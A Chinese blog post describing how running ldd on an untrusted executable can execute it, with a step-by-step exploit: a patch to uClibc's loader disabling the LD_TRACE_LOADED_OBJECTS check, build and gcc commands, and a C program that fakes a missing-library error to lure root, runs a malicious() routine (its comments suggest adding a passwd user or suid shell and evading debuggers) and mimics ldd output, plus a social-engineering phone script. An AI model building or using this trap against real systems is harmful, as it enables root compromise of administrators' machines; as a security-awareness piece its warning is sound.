ldd 的一个安全问题
我们知道“ldd”这个命令主要是被程序员或是管理员用来查看可执行文件所依赖的动态链接库的。是的,这就是这个命令的用处。可是,这个命令比你想像的要危险得多,也许很多黑客通过ldd的安全问题来攻击你的服务器。其实,ldd的安全问题存在很长的时间了,但居然没有被官方文档所记录来下,这听上去更加难以理解了。怎么?是不是听起来有点不可思议?下面,让我为你细细道来。
首先,我们先来了解一下,我们怎么来使用ldd的,请你看一下下面的几个命令:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
(1) $ ldd /bin/grep linux-gate.so.1 => (0xffffe000) libc.so.6 => /lib/libc .so.6 (0xb7eca000) /lib/ld-linux .so.2 (0xb801e000) (2) $ LD_TRACE_LOADED_OBJECTS=1 /bin/grep linux-gate.so.1 => (0xffffe000) libc.so.6 => /lib/libc .so.6 (0xb7e30000) /lib/ld-linux .so.2 (0xb7f84000) (3) $ LD_TRACE_LOADED_OBJECTS=1 /lib/ld-linux .so.2 /bin/grep linux-gate.so.1 => (0xffffe000) libc.so.6 => /lib/libc .so.6 (0xb7f7c000) /lib/ld-linux .so.2 (0xb80d0000) |
第(1)个命令,我们运行了 `ldd` 于 `/bin/grep`。我们可以看到命令的输出是我们想要的,那就是 `/bin/grep` 所依赖的动态链接库。
第(2)个命令设置了一个叫 LD_TRACE_LOADED_OBJECTS 的环境变量,然后就好像在运行命令 `/bin/grep` (但其实并不是)。 其运行结果和ldd的输出是一样的!
第(3)个命令也是设置了环境变量 LD_TRACE_LOADED_OBJECTS ,然后调用了动态链接库 `ld-linux.so` 并把 `/bin/grep` 作为参数传给它。我们发现,其输出结果还是和前面两个一样的。
具体发生了什么?
对于第二个和第三个命令来说,好像是对 `ldd` 的一个包装或是一个隐式调用。对于第二个和第三个命令来说, `/bin/grep` 这个命令就根本没有被运行。这是一个GNU动态载入器的怪异的特性。如果其注意到环境变量LD_TRACE_LOADED_OBJECTS 被设置了,那么它就不会去执行那个可运行的程序,而去输出这个可执行程序所依赖的动态链接库 (在BSD 系统上的`ldd` 是一个C 程序)。
如果你使用的是Linux,那么,你可以去看看 `ldd` 程序,你会发现这是一个 bash 的脚本。如果你仔细查看这个脚本的源码,你会发现,第二个命令和第三个命令的差别就在于 `ld-linux.so` 装载器是否可以被`ldd`所装载,如果不能,那就是第二个命令,如果而的话,那就是第三个命令。
所以,如果我们可以让`ld-linux.so` 装载器失效的话,或是让别的装载器来取代这个系统默认的动态链接库的话,那么我们就可以让 `ldd`来载入并运行我们想要程序了——使用不同的载装器并且不处理LD_TRACE_LOADED_OBJECTS 环境变量,而是直接运行程序。
例如,你可以创建一个具有恶意的程序,如: ~/app/bin/exec 并且使用他自己的装载器 ~/app/lib/loader.so。如果某人(比如超级用户root) 运行了 `ldd /home/you/app/bin/exec` ,于是,他就玩完了。因为,那并不会列出所依赖的动态链接库,而是,直接执行你的那个恶意程序,这相当于,那个用户给了你他的授权。
编译一个新的装载器
下载 uClibc C库。这是一个相当漂亮的代码,并且可以非常容易地修改一下源代码,使其忽略LD_TRACE_LOADED_OBJECTS 检查。
1
2
3
|
解压这个包,并执行 `make menuconfig`,选项你的平台架构(比如:i386),剩下的事情保持不变。
1
2
3
4
|
$ bunzip2 < uClibc-0.9.30.1. tar .bz2 | tar -vx $ rm -rf uClibc-0.9.30.1. tar .bz2 $ cd uClibc-0.9.30.1 $ make menuconfig |
编辑 .config 并设置目标安装目录:到 `/home/you/app/uclibc`,
把下面两行
1
2
|
RUNTIME_PREFIX= "/usr/$(TARGET_ARCH)-linux-uclibc/" DEVEL_PREFIX= "/usr/$(TARGET_ARCH)-linux-uclibc/usr/" |
改成
1
2
|
RUNTIME_PREFIX= "/home/you/app/uclibc/" DEVEL_PREFIX= "/home/you/app/uclibc/usr/" |
现在你需要改动一下其源代码,让其忽略LD_TRACE_LOADED_OBJECTS 环境变量的检查。 下面是个这修改的diff,你需要修改的是 `ldso/ldso/ldso.c` 文件。你可把下面的这个diff存成一个叫file的文件,然后运行这个命令:`patch -p0 < file`。如果你不这样做的话,那么,我们的黑客程序就无法工作,而我们的这个装载器还是会认为 `ldd` 想列出动态链接库的文件列表。
1
2
3
4
5
6
7
8
9
10
11
|
--- ldso/ldso/ldso-orig.c 2009-10-25 00:27:12.000000000 +0300 +++ ldso/ldso/ldso.c 2009-10-25 00:27:22.000000000 +0300 @@ -404,9 +404,11 @@ } #endif + /* if (_dl_getenv("LD_TRACE_LOADED_OBJECTS", envp) != NULL) { trace_loaded_objects++; } + */ #ifndef __LDSO_LDD_SUPPORT__ if (trace_loaded_objects) { |
下面让我们来编译并安装它。
1
2
|
$ make -j 4 $ make install |
于是,我们的 uClibc 装载器就被安装了,并且libc 库指向了 /home/you/app/uclibc. 就这么简单,现在,我们需要做的就是把我们的uClibc的装载器 (app/lib/ld-uClibc.so.0)变成默认的。
小试 牛刀
首先,先让我们来创建一个测试程序,这人程序也就是输出些自己的东西,这样可以让我们看到我们的程序被执行了。我们把这个程序放在 `app/bin/`下,叫“myapp.c”,下面是源代码
1
2
3
4
5
6
7
8
9
10
11
12
|
#include <stdio.h> #include <stdlib.h> int main() { if ( getenv ( "LD_TRACE_LOADED_OBJECTS" )) { printf ( "All your things are belong to me.\n" ); } else { printf ( "Nothing.\n" ); } return 0; } |
这是一个很简单的代码了,这段代码主要检查一下环境变量LD_TRACE_LOADED_OBJECTS 是否被设置了,如果是,那么恶意程序执行,如果没有,那么程序什么也不发生。
下面是编译程序的命令,,大家可以看到,我们静态链接了一些函数库。我们并不想让LD_LIBRARY_PATH这个变量来发挥作用。
1
2
3
4
5
6
7
8
|
$ L= /home/you/app/uclibc $ gcc -Wl,--dynamic-linker,$L /lib/ld-uClibc .so.0 \ -Wl,-rpath-link,$L /lib \ -nostdlib \ myapp.c -o myapp \ $L /usr/lib/crt *.o \ -L$L /usr/lib/ \ -lc |
下面是GCC的各个参数的解释:
- -Wl,–dynamic-linker,$L/lib/ld-uClibc.so.0 — 指定一个新的装载器。
- -Wl,-rpath-link,$L/lib — 指定一个首要的动态装载器所在的目录,这个目录用于查找动态库。
- -nostdlib — 不使用系统标准库。
- myapp.c -o myapp — 编译myapp.c 成可执行文件 myapp,
- $L/usr/lib/crt*.o — 静态链接runtime 代码
- -L$L/usr/lib/ — libc 的目录(静态链接)
- -lc — C 库
现在让我们来运行一下我们的 `myapp` (没有ldd,一切正常)
1
2
|
app /bin $ . /myapp Nothing. |
LD_TRACE_LOADED_OBJECTS 没有设置,所以输出 “Nothing” 。
现在,让我们来使用 `ldd` 来看看这个程序的最大的影响力,让我们以root身份来干这个事。
1
2
3
4
|
$ su Password: # ldd ./myapp All your things are belong to me. |
哈哈,我们可以看到,ldd触发了我们的恶意代码。于是,我们偷了整个系统!
邪恶的程序
下面这个例子更为实际一些,如果没有`ldd` ,那程序程序会报错 “error while loading shared libraries” ,这个错误信息会引诱你去去使用 `ldd` 去做检查,如果你是root的话,那么就整个系统就玩完了。而当你可以了 `ldd` 后,它会在干完坏事后,模仿正确的`ldd`的输出,告诉你 `libat.so.0` 不存在。
下面的代码仅仅是向你展示了一下整个想法,代码还需加工和改善。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
|
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/types.h> /* This example pretends to have a fictitious library 'libat.so.0' missing. When someone with root permissions runs `ldd this_program`, it does something nasty in malicious() function. I haven't implemented anything malicious but have written down some ideas of what could be done. This is, of course, a joke program. To make it look more real, you'd have to bump its size, add some more dependencies, simulate trying to open the missing library, detect if ran under debugger or strace and do absolutely nothing suspicious, etc. */ void pretend_as_ldd() { printf ( "\tlinux-gate.so.1 => (0xffffe000)\n" ); printf ( "\tlibat.so.0 => not found\n" ); printf ( "\tlibc.so.6 => /lib/libc.so.6 (0xb7ec3000)\n" ); printf ( "\t/lib/ld-linux.so.2 (0xb8017000)\n" ); } void malicious() { if (geteuid() == 0) { /* we are root ... */ printf ( "poof, all your box are belong to us\n" ); /* silently add a new user to /etc/passwd, */ /* or create a suid=0 program that you can later execute, */ /* or do something really nasty */ } } int main( int argc, char **argv) { if ( getenv ( "LD_TRACE_LOADED_OBJECTS" )) { malicious(); pretend_as_ldd(); return 0; } printf ( "%s: error while loading shared libraries: libat.so.0: " "cannot open shared object file: No such file or directory\n" , argv[0]); return 127; } |
邪恶的电话
事实上来说,上面的那段程序可能的影响更具破坏性,因为大多数的系统管理员可能并不知道不能使用 `ldd` 去测试那些不熟悉的执行文件。下面是一段很可能会发现的对话,让我们看看我们的程序是如何更快地获得系统管理员的权限的。
系统管理员的电话狂响……
系统管理员: “同志你好,我是系统管理员,有什么可以帮你的?”
黑客:“管理员同志你好。我有一个程序不能运行,总是报错,错误好像是说一个系统动态链接库有问题,你能不能帮我看看?”
系统管理员:“没问题,你的那个程序在哪里?”
黑客: “在我的home目录下,/home/hchen/app/bin/myapp”。
系统管理员:“ OK,等一会儿”,黑客在电话这头可以听到一些键盘的敲击声。
系统管理员:“好像是动态链接库的问题,你能告诉我你的程序具体需要什么样的动态链接库吗?”
黑客说: “谢谢,应该没有别的嘛。”
系统管理员:“嗯,查到了,说是没有了 `libat.so.0`这是你自己的动态链接库吗?”
黑客说:“哦,好像是的,你等一下,我看看……” 黑客在那头露出了邪恶的笑,并且,讯速地输入了下面的命令:
`mv ~/.hidden/working_app ~/app/bin/myapp`
`mv ~/.hidden/libat.so.o ~/app/bin/`
黑客说:“哦,对了,的确是我的不对,我忘了把这个链接库拷过来了,现在应该可以了,谢谢你啊,真是不好意思,麻烦你了”
系统管理员: “没事就行了,下次注意啊!”(然后系统管理心里暗骂,TMD,又一个白痴用户!……)
教训一:千万不要使用 `ldd` 去测试你不知道的文件!
教训二:千万不要相信陌生人!
ldd 的一个安全问题的更多相关文章
- Linux ldd -- 查看可执行文件所依赖的动态链接库
我们知道“ldd”这个命令主要是被程序员或是管理员用来查看可执行文件所依赖的动态链接库的.是的,这就是这个命令的用处.可是,这个命令比你想像的要危险得多,也许很多黑客通过ldd的安全问题来攻击你的服务 ...
- 如何给Ionic写一个cordova插件
写一个cordova插件 之前由javaWeb转html5开发,由于面临新技术,遂在适应的过程中极为挣扎,不过还好~,这个过程也极为短暂:现如今面临一些较为复杂的需求还会有一丝丝头痛,却没有一开始那么 ...
- Android签名与权限的安全问题(3)
签名和权限的作用 Android签名中使用到的一些加密技术有: 公/私钥, SHA1(CERT.SF,MANIFEST.MF), RSA(CERT.RSA), 消息摘要, 移动平台中的主流签名作用: ...
- 一个适合.NET Core的代码安全分析工具 - Security Code Scan
本文主要翻译自Security Code Scan的官方Github文档,结合自己的初步使用简单介绍一下这款工具,大家可以结合自己团队的情况参考使用.此外,对.NET Core开发团队来说,可以参考张 ...
- 我的第一个python web开发框架(40)——后台日志与异常处理
后台权限和底层框架的改造终于完成了,小白也终于可以放下紧悬着的心,可以轻松一下了.这不他为了感谢老菜,又找老菜聊了起来. 小白:多谢老大的帮忙,系统终于改造完成了,可以好好放松一下了. 老菜:呵呵,对 ...
- 给Ionic写一个cordova(PhoneGap)插件
给Ionic写一个cordova(PhoneGap)插件 之前由javaWeb转html5开发,由于面临新技术,遂在适应的过程中极为挣扎,不过还好~,这个过程也极为短暂:现如今面临一些较为复杂的需求还 ...
- crontab不能执行sudo:抱歉,您必须拥有一个终端来执行 sudo
最近做一个可执行shell调度的需求,要求用户输入shell,然后后台定时调度运行.实现大致为:保存用户的输入,设定时间,crontab定时执行用户的输入.但这里涉及到一个安全问题,如何确定用户的输入 ...
- ldd 以及 ld-linux.so.2
最近跟编译工具干上了,可能是问题积累集中爆发的结果. 今天对 ld-linux.so.x 有很大兴趣,想对它多些了解,遂百度之.发现了指令 ldd. 关于 ldd 其实 ldd 是一个脚本,并不是一个 ...
- PHP中“==”运算符的安全问题
前言 PHP是一种通用的开源脚本语言,它的语法混合了C,Java,以及Perl等优秀语言的语法.除此之外,它还提供了大量的函数库可供开发人员使用.但是,如果使用不当,PHP也会给应用程序带来非常大的安 ...
随机推荐
- WinForm 之 程序退出
一.关闭窗体 在c#中退出WinForm程序包括有很多方法,如:this.Close(); Application.Exit();Application.ExitThread(); System.En ...
- Ubuntu IntelliJ IDEA 注冊碼與Gradle相關
一.Ubuntu IntelliJ IDEA 注冊碼 在线免费生成IntelliJ IDEA 15.0(16.+)注册码 注冊參考:https://www.iteblog.com/idea/ 依次选择 ...
- Java中创建访问HTTPS的自签名证书的方法
一.问题: 常常在用java访问https的请求时,总是出现SSL禁止的异常.这里给大家教下怎么创建与添加证书. 二.工具 : 1.创建一个目录 2.去Github上搜索InstallCert,然后随 ...
- Linux内核配置:Kconfig
Linux内核源码中,差不多有300个内核子目录都包含了名为Kconfig的文件.这个文件用于配置其所在目录的源码的特性.Kconfig中的每个配置参数都有附带的帮助文本,配置子系统会解析Kconfi ...
- java相关知识集锦
java语言基础知识: Java8 Stream语法详解 不用循环 java 8系列之Stream的基本语法详解 java8 stream filter等功能代替for Java中try catch ...
- MySQL配置文件my.ini参数注释说明
mysqld程序--目录和文件basedir = path 使用给定目录作为根目录(安装目录).character-sets-dir = path 给出存放着字符集的目录.datadir = path ...
- MongoDB副本集配置系列一:安装MongoDB
1:下载MongoDB 2.6版本 https://fastdl.mongodb.org/win32/mongodb-win32-x86_64-2008plus-2.6.9.zip 2:解压 tar ...
- great tips in soapui
from this site :http://onebyteatatime.wordpress.com/2009/04/18/soapui-tips-n-tricks-part-2/
- RHEL7 DNS 服务 unbound 测试
测试环境: 物理机win10系统,虚拟机软件使用Oracle VirtualBox. rhel1.rusky.com 192.168.100.1 RHEL7(辅DNS) rhel2.rusky.com ...
- 【组队赛三】-D 优先队列 cf446B
DZY Loves Modification Time Limit:2000MS Memory Limit:262144KB 64bit IO Format:%I64d & %I64u Sub ...